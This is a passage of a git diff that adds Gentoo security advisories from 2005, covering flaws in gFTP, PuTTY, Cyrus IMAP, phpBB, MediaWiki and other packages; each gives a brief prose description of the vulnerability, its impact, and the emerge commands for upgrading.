+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0484">CVE-2005-0484</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 16 Feb 2005 19:27:51 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 17 Feb 2005 00:01:48 +0000">
+    taviso
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 18 Feb 2005 09:37:53 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200502-27.xml b/xml/htdocs/security/en/glsa/glsa-200502-27.xml
new file mode 100644
index 00000000..cde9d261
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200502-27.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200502-27">
+  <title>gFTP: Directory traversal vulnerability</title>
+  <synopsis>
+    gFTP is vulnerable to directory traversal attacks, possibly leading to the
+    creation or overwriting of arbitrary files.
+  </synopsis>
+  <product type="ebuild">gFTP</product>
+  <announced>February 19, 2005</announced>
+  <revised>February 19, 2005: 01</revised>
+  <bug>81994</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-ftp/gftp" auto="yes" arch="*">
+      <unaffected range="ge">2.0.18-r1</unaffected>
+      <vulnerable range="lt">2.0.18-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    gFTP is a GNOME based, multi-threaded file transfer client.
+    </p>
+  </background>
+  <description>
+    <p>
+    gFTP lacks input validation of filenames received by remote
+    servers.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to connect to a malicious FTP
+    server and conduct a directory traversal attack by making use of
+    specially crafted filenames. This could lead to arbitrary files being
+    created or overwritten.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All gFTP users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-ftp/gftp-2.0.18-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://archives.seul.org/gftp/announce/Feb-2005/msg00000.html">gFTP Announcement</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0372">CAN-2005-0372</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 16 Feb 2005 19:28:38 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 17 Feb 2005 20:30:31 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 19 Feb 2005 10:43:51 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200502-28.xml b/xml/htdocs/security/en/glsa/glsa-200502-28.xml
new file mode 100644
index 00000000..76ea1e1a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200502-28.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200502-28">
+  <title>PuTTY: Remote code execution</title>
+  <synopsis>
+    PuTTY was found to contain vulnerabilities that can allow a malicious SFTP
+    server to execute arbitrary code on unsuspecting PSCP and PSFTP clients.
+  </synopsis>
+  <product type="ebuild">Putty</product>
+  <announced>February 21, 2005</announced>
+  <revised>February 21, 2005: 01</revised>
+  <bug>82753</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/putty" auto="yes" arch="*">
+      <unaffected range="ge">0.57</unaffected>
+      <vulnerable range="lt">0.57</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PuTTY is a popular SSH client, PSCP is a secure copy
+    implementation, and PSFTP is a SSH File Transfer Protocol client.
+    </p>
+  </background>
+  <description>
+    <p>
+    Two vulnerabilities have been discovered in the PSCP and PSFTP
+    clients, which can be triggered by the SFTP server itself. These issues
+    are caused by the improper handling of the FXP_READDIR response, along
+    with other string fields.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker can setup a malicious SFTP server that would send
+    these malformed responses to a client, potentially allowing the
+    execution of arbitrary code on their system.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PuTTY users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/putty-0.57&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.chiark.greenend.org.uk/~sgtatham/putty/wishlist/vuln-sftp-readdir.html">PuTTY vulnerability vuln-sftp-readdir</uri>
+    <uri link="http://www.chiark.greenend.org.uk/~sgtatham/putty/wishlist/vuln-sftp-string.html">PuTTY vulnerability vuln-sftp-string</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0467">CAN-2005-0467</uri>
+    <uri link="http://www.idefense.com/application/poi/display?id=201&amp;type=vulnerabilities">iDEFENSE Advisory</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 21 Feb 2005 09:51:17 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 21 Feb 2005 09:52:44 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 21 Feb 2005 13:42:55 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200502-29.xml b/xml/htdocs/security/en/glsa/glsa-200502-29.xml
new file mode 100644
index 00000000..79af3a18
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200502-29.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200502-29">
+  <title>Cyrus IMAP Server: Multiple overflow vulnerabilities</title>
+  <synopsis>
+    The Cyrus IMAP Server is affected by several overflow vulnerabilities which
+    could potentially lead to the remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">cyrus-imapd</product>
+  <announced>February 23, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>82404</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-mail/cyrus-imapd" auto="yes" arch="*">
+      <unaffected range="ge">2.2.12</unaffected>
+      <vulnerable range="lt">2.2.12</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Cyrus IMAP Server is an efficient, highly-scalable IMAP e-mail
+    server.
+    </p>
+  </background>
+  <description>
+    <p>
+    Possible single byte overflows have been found in the imapd annotate
+    extension and mailbox handling code. Furthermore stack buffer overflows
+    have been found in fetchnews, the backend and imapd.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker, who could be an authenticated user or an admin of a
+    peering news server, could exploit these vulnerabilities to execute
+    arbitrary code with the rights of the user running the Cyrus IMAP
+    Server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Cyrus IMAP Server users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-mail/cyrus-imapd-2.2.12&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://asg.web.cmu.edu/archive/message.php?mailbox=archive.info-cyrus&amp;msg=33723">Cyrus IMAP Announcement</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0546">CVE-2005-0546</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 18 Feb 2005 10:42:26 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 19 Feb 2005 20:45:06 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 23 Feb 2005 12:49:07 +0000">
+    vorlon078
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200502-30.xml b/xml/htdocs/security/en/glsa/glsa-200502-30.xml
new file mode 100644
index 00000000..cbf3d073
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200502-30.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200502-30">
+  <title>cmd5checkpw: Local password leak vulnerability</title>
+  <synopsis>
+    cmd5checkpw contains a flaw allowing local users to access other users
+    cmd5checkpw passwords.
+  </synopsis>
+  <product type="ebuild">cmd5checkpw</product>
+  <announced>February 25, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>78256</bug>
+  <access>local</access>
+  <affected>
+    <package name="net-mail/cmd5checkpw" auto="yes" arch="*">
+      <unaffected range="ge">0.22-r2</unaffected>
+      <vulnerable range="le">0.22-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    cmd5checkpw is a checkpassword compatible authentication program that
+    uses CRAM-MD5 authentication mode.
+    </p>
+  </background>
+  <description>
+    <p>
+    Florian Westphal discovered that cmd5checkpw is installed setuid
+    cmd5checkpw but does not drop privileges before calling execvp(), so
+    the invoked program retains the cmd5checkpw euid.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    Local users that know at least one valid /etc/poppasswd user/password
+    combination can read the /etc/poppasswd file.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All cmd5checkpw users should upgrade to the latest available version:
+    </p>
+    <code>
+    # emerge --sync 
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-mail/cmd5checkpw-0.22-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0580">CVE-2005-0580</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 24 Feb 2005 11:26:13 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 25 Feb 2005 09:22:33 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 25 Feb 2005 09:25:07 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200502-31.xml b/xml/htdocs/security/en/glsa/glsa-200502-31.xml
new file mode 100644
index 00000000..531a5950
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200502-31.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200502-31">
+  <title>uim: Privilege escalation vulnerability</title>
+  <synopsis>
+    Under certain conditions, applications linked against uim suffer from a
+    privilege escalation vulnerability.
+  </synopsis>
+  <product type="ebuild">uim</product>
+  <announced>February 28, 2005</announced>
+  <revised>February 28, 2005: 01</revised>
+  <bug>82678</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-i18n/uim" auto="yes" arch="*">
+      <unaffected range="ge">0.4.5.1</unaffected>
+      <vulnerable range="lt">0.4.5.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    uim is a simple, secure and flexible input method library.
+    </p>
+  </background>
+  <description>
+    <p>
+    Takumi Asaki discovered that uim insufficiently checks environment
+    variables. setuid/setgid applications linked against libuim could end
+    up executing arbitrary code. This vulnerability only affects
+    immodule-enabled Qt (if you build Qt 3.3.2 or later versions with
+    USE="immqt" or USE="immqt-bc").
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A malicious local user could exploit this vulnerability to execute
+    arbitrary code with escalated privileges.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All uim users should upgrade to the latest available version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-i18n/uim-0.4.5.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0503">CAN-2005-0503</uri>
+    <uri link="http://lists.freedesktop.org/archives/uim/2005-February/000996.html">uim announcement</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 25 Feb 2005 09:53:35 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 27 Feb 2005 12:40:49 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 28 Feb 2005 08:59:25 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200502-32.xml b/xml/htdocs/security/en/glsa/glsa-200502-32.xml
new file mode 100644
index 00000000..5ed247df
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200502-32.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200502-32">
+  <title>UnAce: Buffer overflow and directory traversal vulnerabilities</title>
+  <synopsis>
+    UnAce is vulnerable to several buffer overflow and directory traversal
+    attacks.
+  </synopsis>
+  <product type="ebuild">unace</product>
+  <announced>February 28, 2005</announced>
+  <revised>February 28, 2005: 01</revised>
+  <bug>81958</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-arch/unace" auto="yes" arch="*">
+      <unaffected range="rge">1.2b-r1</unaffected>
+      <vulnerable range="le">1.2b</vulnerable>
+      <vulnerable range="ge">2.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    UnAce is an utility to extract, view and test the contents of an
+    ACE archive.
+    </p>
+  </background>
+  <description>
+    <p>
+    Ulf Harnhammar discovered that UnAce suffers from buffer overflows
+    when testing, unpacking or listing specially crafted ACE archives
+    (CAN-2005-0160). He also found out that UnAce is vulnerable to
+    directory traversal attacks, if an archive contains "./.." sequences or
+    absolute filenames (CAN-2005-0161).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could exploit the buffer overflows to execute
+    malicious code or the directory traversals to overwrite arbitrary
+    files.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All UnAce users should upgrade to the latest available 1.2
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-arch/unace-1.2b-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0160">CAN-2005-0160</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0161">CAN-2005-0161</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 27 Feb 2005 14:45:09 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 27 Feb 2005 15:41:01 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 28 Feb 2005 15:45:17 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200502-33.xml b/xml/htdocs/security/en/glsa/glsa-200502-33.xml
new file mode 100644
index 00000000..76c36cb1
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200502-33.xml
@@ -0,0 +1,78 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200502-33">
+  <title>MediaWiki: Multiple vulnerabilities</title>
+  <synopsis>
+    MediaWiki is vulnerable to cross-site scripting, data manipulation and
+    security bypass attacks.
+  </synopsis>
+  <product type="ebuild">mediawiki</product>
+  <announced>February 28, 2005</announced>
+  <revised>February 28, 2005: 01</revised>
+  <bug>80729</bug>
+  <bug>82954</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/mediawiki" auto="yes" arch="*">
+      <unaffected range="ge">1.3.11</unaffected>
+      <vulnerable range="lt">1.3.11</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MediaWiki is a collaborative editing software, used by big
+    projects like Wikipedia.
+    </p>
+  </background>
+  <description>
+    <p>
+    A security audit of the MediaWiki project discovered that
+    MediaWiki is vulnerable to several cross-site scripting and cross-site
+    request forgery attacks, and that the image deletion code does not
+    sufficiently sanitize input parameters.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    By tricking a user to load a carefully crafted URL, a remote
+    attacker could hijack sessions and authentication cookies to inject
+    malicious script code that will be executed in a user's browser session
+    in context of the vulnerable site, or use JavaScript submitted forms to
+    perform restricted actions. Using the image deletion flaw, it is also
+    possible for authenticated administrators to delete arbitrary files via
+    directory traversal.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MediaWiki users should upgrade to the latest available
+    version:
+    </p>
+    <code>
+    # emerge --sync 
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/mediawiki-1.3.11&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://secunia.com/advisories/14125/">Secunia Advisory SA14125</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0534">CAN-2005-0534</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0535">CAN-2005-0535</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0536">CAN-2005-0536</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 24 Feb 2005 11:32:05 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 25 Feb 2005 09:25:41 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 27 Feb 2005 16:48:17 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200503-01.xml b/xml/htdocs/security/en/glsa/glsa-200503-01.xml
new file mode 100644
index 00000000..129dc08e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200503-01.xml
@@ -0,0 +1,64 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200503-01">
+  <title>Qt: Untrusted library search path</title>
+  <synopsis>
+    Qt may load shared libraries from an untrusted, world-writable directory,
+    resulting in the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">qt</product>
+  <announced>March 01, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>75181</bug>
+  <access>local</access>
+  <affected>
+    <package name="x11-libs/qt" auto="yes" arch="*">
+      <unaffected range="ge">3.3.4-r2</unaffected>
+      <vulnerable range="lt">3.3.4-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Qt is a cross-platform GUI toolkit used by KDE.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy of the Gentoo Linux Security Audit Team has discovered
+    that Qt searches for shared libraries in an untrusted, world-writable
+    directory.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could create a malicious shared object that would be
+    loaded by Qt, resulting in the execution of arbitrary code with the
+    privileges of the Qt application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Qt users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-libs/qt-3.3.4-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0627">CVE-2005-0627</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 15 Feb 2005 06:13:07 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue,  1 Mar 2005 12:59:58 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200503-02.xml b/xml/htdocs/security/en/glsa/glsa-200503-02.xml
new file mode 100644
index 00000000..fd9cfc3d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200503-02.xml
@@ -0,0 +1,79 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200503-02">
+  <title>phpBB: Multiple vulnerabilities</title>
+  <synopsis>
+    Several vulnerabilities allow remote attackers to gain phpBB administrator
+    rights or expose and manipulate sensitive data.
+  </synopsis>
+  <product type="ebuild">phpbb</product>
+  <announced>March 01, 2005</announced>
+  <revised>March 01, 2005: 01</revised>
+  <bug>82955</bug>
+  <access>local and remote</access>
+  <affected>
+    <package name="www-apps/phpBB" auto="yes" arch="*">
+      <unaffected range="ge">2.0.13</unaffected>
+      <vulnerable range="lt">2.0.13</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    phpBB is an Open Source bulletin board package.
+    </p>
+  </background>
+  <description>
+    <p>
+    It was discovered that phpBB contains a flaw in the session
+    handling code and a path disclosure bug. AnthraX101 discovered that
+    phpBB allows local users to read arbitrary files, if the "Enable remote
+    avatars" and "Enable avatar uploading" options are set (CAN-2005-0259).
+    He also found out that incorrect input validation in
+    "usercp_avatar.php" and "usercp_register.php" makes phpBB vulnerable to
+    directory traversal attacks, if the "Gallery avatars" setting is
+    enabled (CAN-2005-0258).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Remote attackers can exploit the session handling flaw to gain
+    phpBB administrator rights. By providing a local and a remote location
+    for an avatar and setting the "Upload Avatar from a URL:" field to
+    point to the target file, a malicious local user can read arbitrary
+    local files. By inserting "/../" sequences into the "avatarselect"
+    parameter, a remote attacker can exploit the directory traversal
+    vulnerability to delete arbitrary files. A flaw in the "viewtopic.php"
+    script can be exploited to expose the full path of PHP scripts.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All phpBB users should upgrade to the latest available version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/phpBB-2.0.13&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0258">CAN-2005-0258</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0259">CAN-2005-0259</uri>
+    <uri link="http://www.phpbb.com/phpBB/viewtopic.php?f=14&amp;t=267563">phpBB announcement</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 28 Feb 2005 14:35:23 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 28 Feb 2005 15:10:08 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue,  1 Mar 2005 18:22:22 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200503-03.xml b/xml/htdocs/security/en/glsa/glsa-200503-03.xml
new file mode 100644
index 00000000..3c110ced
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200503-03.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200503-03">
+  <title>Gaim: Multiple Denial of Service issues</title>
+  <synopsis>
+    Multiple vulnerabilities have been found in Gaim which could allow a remote
+    attacker to crash the application.
+  </synopsis>
+  <product type="ebuild">gaim</product>
+  <announced>March 01, 2005</announced>
+  <revised>March 01, 2005: 01</revised>
+  <bug>83253</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-im/gaim" auto="yes" arch="*">
+      <unaffected range="ge">1.1.4</unaffected>
+      <vulnerable range="lt">1.1.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Gaim is a full featured instant messaging client which handles a
+    variety of instant messaging protocols.
+    </p>
+  </background>
+  <description>
+    <p>
+    Specially crafted SNAC packets sent by other instant-messaging
+    users can cause Gaim to loop endlessly (CAN-2005-0472). Malformed HTML
+    code could lead to invalid memory accesses (CAN-2005-0208 and
+    CAN-2005-0473).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Remote attackers could exploit these issues, resulting in a Denial
+    of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Gaim users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-im/gaim-1.1.4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0208">CAN-2005-0208</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0472">CAN-2005-0472</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0473">CAN-2005-0473</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 25 Feb 2005 09:54:05 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 25 Feb 2005 10:52:36 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue,  1 Mar 2005 08:51:34 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200503-04.xml b/xml/htdocs/security/en/glsa/glsa-200503-04.xml
new file mode 100644
index 00000000..8b70d276
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200503-04.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200503-04">
+  <title>phpWebSite: Arbitrary PHP execution and path disclosure</title>
+  <synopsis>
+    Remote attackers can upload and execute arbitrary PHP scripts, another flaw
+    reveals the full path of scripts.
+  </synopsis>
+  <product type="ebuild">phpwebsite</product>
+  <announced>March 01, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>83297</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/phpwebsite" auto="yes" arch="*">
+      <unaffected range="ge">0.10.0-r2</unaffected>
+      <vulnerable range="lt">0.10.0-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    phpWebSite provides a complete web site content management system.
+    </p>
+  </background>
+  <description>
+    <p>
+    NST discovered that, when submitting an announcement, uploaded files
+    aren't correctly checked for malicious code. They also found out that
+    phpWebSite is vulnerable to a path disclosure.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker can exploit this issue to upload files to a directory
+    within the web root. By calling the uploaded script the attacker could
+    then execute arbitrary PHP code with the rights of the web server. By
+    passing specially crafted requests to the search module, remote
+    attackers can also find out the full path of PHP scripts.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All phpWebSite users should upgrade to the latest available version:
+    </p>
+    <code>
+    # emerge --sync 
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/phpwebsite-0.10.0-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://secunia.com/advisories/14399/">Secunia Advisory SA14399</uri>
+    <uri link="http://phpwebsite.appstate.edu/index.php?module=announce&amp;ANN_id=922&amp;ANN_user_op=view">phpWebSite announcement</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0565">CVE-2005-0565</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0572">CVE-2005-0572</uri>
+  </references>
